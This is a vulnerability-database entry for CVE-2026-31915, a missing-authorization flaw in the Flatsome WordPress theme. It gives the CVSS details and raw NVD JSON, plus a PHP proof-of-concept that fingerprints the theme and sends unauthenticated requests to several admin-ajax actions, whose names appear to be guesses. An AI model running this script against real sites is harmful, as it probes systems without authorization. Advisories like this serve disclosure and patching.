Security Vulnerability Report
中文
CVE-2026-31915 CVSS 5.3 MEDIUM

CVE-2026-31915

Published: 2026-03-13 19:54:38
Last Modified: 2026-04-29 10:16:57

Description

Missing Authorization vulnerability in UX-themes Flatsome flatsome allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Flatsome: from n/a through <= 3.19.6.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Flatsome Theme <= 3.19.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2026-31915 PoC - Flatsome Theme Broken Access Control * Target: WordPress sites running Flatsome theme <= 3.19.6 * Vulnerability: Missing Authorization in Flatsome endpoints * Usage: Modify TARGET_URL and run with: php cve-2026-31915.php */ $target_url = 'http://target-site.com'; $wp_path = '/'; // Check if target is running Flatsome function check_flatsome($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if (preg_match('/flatsome[-.](\d+\.\d+\.\d+)/i', $response, $matches)) { return ['vulnerable' => true, 'version' => $matches[1]]; } return ['vulnerable' => false, 'version' => null]; } // Exploit: Access unprotected Flatsome AJAX endpoint function exploit_ajax($base_url, $action) { $url = $base_url . '/wp-admin/admin-ajax.php'; $data = [ 'action' => $action, 'nonce' => '' // No nonce required due to missing authorization check ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query(['action' => $action])); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return ['http_code' => $http_code, 'response' => $response]; } // Main execution echo "[*] CVE-2026-31915 Flatsome Authorization Bypass PoC\n"; echo "[*] Target: {$target_url}\n\n"; $check = check_flatsome($target_url); if ($check['vulnerable']) { echo "[+] Flatsome version {$check['version']} detected\n"; echo "[*] Testing vulnerable endpoints...\n"; $vulnerable_actions = [ 'flatsome_ux_product_inquiry', 'flatsome_quickview', 'flatsome_wishlist', 'flatsome_compare' ]; foreach ($vulnerable_actions as $action) { $result = exploit_ajax($target_url, $action); if ($result['http_code'] == 200 && !empty($result['response'])) { echo "[!] VULNERABLE: Endpoint '{$action}' accessible without authorization\n"; echo " Response: " . substr($result['response'], 0, 200) . "...\n"; } } } else { echo "[-] Flatsome theme not detected or target is not vulnerable\n"; } echo "\n[*] Scan complete. Upgrade Flatsome to latest version to mitigate.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31915", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:38.410", "lastModified": "2026-04-29T10:16:56.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in UX-themes Flatsome flatsome allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Flatsome: from n/a through <= 3.19.6."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en UX-themes Flatsome flatsome permite Explotar Niveles de Seguridad de Control de Acceso Configurados Incorrectamente. Este problema afecta a Flatsome: desde n/a hasta &lt;= 3.19.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/flatsome/vulnerability/wordpress-flatsome-theme-3-19-6-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}